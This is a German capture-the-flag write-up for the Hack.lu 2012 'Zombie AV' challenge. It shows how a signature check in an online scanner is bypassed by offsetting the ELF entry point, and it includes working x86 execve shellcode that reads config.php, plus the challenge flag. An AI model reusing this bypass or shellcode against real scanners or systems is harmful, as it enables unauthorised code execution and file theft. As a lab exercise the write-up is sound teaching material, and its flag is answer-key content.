Diese Challenge (Zombie AV) liefert uns einige PHP-Dateien und nennt das Ziel, den Inhalt der Datei “config.php” auf einer bestimmten Webseite auszulesen. Ohne die PHP-Quellcodes vorher zu betrachten rufen wir zunächst die Webseite auf um uns einen Überblick über die vor uns liegende Aufgabe zu verschaffen.
Es scheint sich um einen online AntiVirus (AV) Scanner zu handeln, dem Dateien übergeben werden können um auf das Vorhandensein von Viren zu prüfen. Wir testen das System probeweise mit einer beliebigen 32bit Binärdatei mit folgendem Ergebnis:
Dem Anschein nach prüft das System den Beginn (ELF Header) des Binarys auf eine bestimmte (Viren-) Signatur. Welche Opcodes hier genau erwartet werden und was für eine Reaktion bei Fund erfolgt, können wir nur erahnen und müssen uns daher nun den PHP-Quellcodes widmen.
In der Datei “scan.php” werden wir fündig und erkennen folgende Zeilen:
/* * hint: zombie virus signature is * 8048340: b0 01 mov $0x1,%al * 8048342: 90 nop * 8048343: 90 nop * 8048344: 90 nop * 8048345: 90 nop * 8048346: 90 nop * 8048347: 90 nop * 8048348: 90 nop * 8048349: 90 nop * 804834a: cd 80 int $0x80 */
Wir übertragen diese Opcodes in eine Assembler-Quellcode-Datei und erzeugen mit diesen Kommandos eine ausführbare Datei:
rup0rt@lambda:~$ nasm -f elf virus.asm rup0rt@lambda:~$ ld -o virus virus.o
Anschließend können wir diese Datei erneut mit dem Viren-Scanner überprüfen lassen.
Dieses mal wird der Virus erkannt und die Datei vom Viren-Scanner ausgeführt. Das alles hätten wir natürlich auch direkt im PHP-Quellcode erkannt, so macht es aber mehr Spass ;-).
Um nun zum Ziel der Challenge – zum Inhalt der Datei “config.php” – zu gelangen, könnten wir hinter diese Opcodes weitere Anweisungen legen, die uns die gewünsche PHP-Datei ausgeben. Leider besteht der “Zombie-Virus” aber nicht aus rein willkürlichen Opcodes.
Falls man es nicht schon vorher erkannt hat, wird man spätestens jetzt feststellen, dass durch Verschieben von 0x1 in das AL-Register, gefolgt von dem Interrupt “INT 0x80”, der Systemcall 1 – EXIT() – aufgerufen wird.
Das bedeutet, dass alle Anweisungen, die wir hinter die “Zombie-Opcodes” legen würden, gar nicht mehr erreicht werden. Wir müssen daher einen Weg finden, die Ausführung dieser Opcodes zu umgehen. Dafür bleibt nicht anderes übrig, als sich den Quellcode noch genauer anzusehen – am besten den Bereich, der die Binardatei untersucht.
In der Datei “elfparsing.php” finden wir zur Ermittlung des Entry-Points, also des Punktes an dem der Viren-Scanner mit der Prüfung der Opcodes beginnt, diesen Quelltext:
function getEntryPoint($contents) { global $readelfpath; global $objdumppath; $output=shell_exec($readelfpath.' -h '.$contents); $data = preg_match( '/0x[a-fA-F0-9]{5,8}/', $output,$matches); $retValue=(hexdec($matches[0]) & 4294967288); return ($retValue ); }
Der Viren-Scanner verwendet hier in Zeile 5 das Tool “readelf” zur Ermittlung der Eigenschaften des übergebenen Binarys und verwendet die erstbeste Speicheradresse im Hexdezimalformat (Zeile 7). Das interessante ist hierbei die Zeile 8, die auf diese Speicheradresse vor der Rückgabe ein binäres UND mit der Zahl “4294967288” anwendet.
Die Zahl “4294967288” entspricht in hexadezimaler Schreibweise “0xfffffff8”, was in Kombination mit einem binären UND dazu führt, dass die letzten drei Bits der Speicheradresse zu Null werden. Wie können wir diesen Zustand nun ausnutzen?
Wenn es uns gelingt, die “Zombie-Opcodes” an ein Speicherbereich, der auf 0 endet zu legen, zeitgleich aber den eigentlichen Entry point maximal 7 Bytes später beginnen lassen, würde:
- der “Zombie-Virus” weiterhin erkannt werden, da die Suche danach immer noch bei Speicherbereich AND 0xfffffff8 beginnen würde
- durch den späteren Entry point, das MOV AL,0x1 der “Zombie-Opcodes” (das für das den EXIT-Syscall ausschlaggebend ist) allerdings nicht mehr aufgerufen werden
Zum Verschieben des Entry points verwenden wir testweise folgenden Assembler-Quellcode:
BITS 32 section .text global _start mov BYTE al, 0x1 _start: nop nop nop nop nop nop nop nop int 0x80
Das entscheidende ist hierbei Zeile 7, die den eigentlichen Entry point angibt. Die 2-Byte-Instruktion “MOV AL, 0x1” würde bei Ausführung dieses Codes nicht mehr bearbeitet werden. Nach der Kompilierung prüfen wir mit dem Tool “readelf” den Entry point unseres Binarys:
rup0rt@lambda:~$ nasm -f elf virus2.asm
rup0rt@lambda:~$ ld -o virus2 virus2.o
rup0rt@lambda:~$ readelf -h virus2
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048062
Start of program headers: 52 (bytes into file)
Start of section headers: 144 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 1
Size of section headers: 40 (bytes)
Number of section headers: 5
Section header string table index: 2
Wir stellen fest, dass der Entry point nicht auf Null endet! Der Viren-Scanner sollte nun also durch das binäre UND die letzten 3 Bytes nullen, was die Suche nach den “Zombie-Opcodes” zwei Bytes früher, also bei “MOV AL, 0x1” beginnen lassen sollte. Die eigentliche Programmausführung beginnt allerdings erst mit der ersten “NOP”-Instruktion!
Das Testen wir nun direkt am online Viren-System mit diesem Ergebnis:
Das Binary wird weiterhin ausgefüht!! Alles was wir nun noch tun müssen ist, weiteren Opcode unter den “Zombie-Virus” einzufügen, der unsere Zieldatei “config.php” ausgibt. Ich verwende hier ein simples “/bin/cat ./config.php” per “execve()“, für das ich folgende Assembler-Instruktionen an unseren bisherigen Code anhänge:
xor eax, eax ; eax = 0 push eax ; Null-Word zum Ende des Strings push 0x7461632f ; STRING: tac/ push 0x6e69622f ; STRING: nib/ mov ebx, esp ; POINTER auf /bin/cat in EBX push eax ; Null-Word zum Ende des Strings push 0x7068702e ; STRING: php. push 0x6769666e ; STRING: gifn push 0x6f632f2e ; STRING: oc/. mov ecx, esp ; POINTER auf ./config.php in ECX push eax ; NULL als Teil der Argv-Liste push ecx ; "./config.php" als Teil der Argv-Liste push ebx ; FILENAME = "/bin/cat" mov ecx, esp ; POINTER auf ARGV[] in ECX mov byte al, 0xb ; SYSCALL 11 = EXECVE int 0x80 ; execve("/bin/cat/", [ "/bin/cat", "./config.php", NULL ], NULL);
Nach erneuter Kompilierung und Übergabe an den Online-Viren-Scanner erhalten wir folgende Ausgabe:
Unser Vorgehen war erfolgreich, die Routine des Viren-Scanners konnte umgangen und unser Opcode zur Ausführung gebracht werden.
Die Lösung lautet somit “55c4080daefb5f794c3527101882b50b“.
(Im Verlauf des Capture the Flag wurde diese Challenge verändert, eine (andere / alternative) Lösung stelle ich daher im Post Hack.Lu CTF 2012 – Zombie AV Part 2 vor.)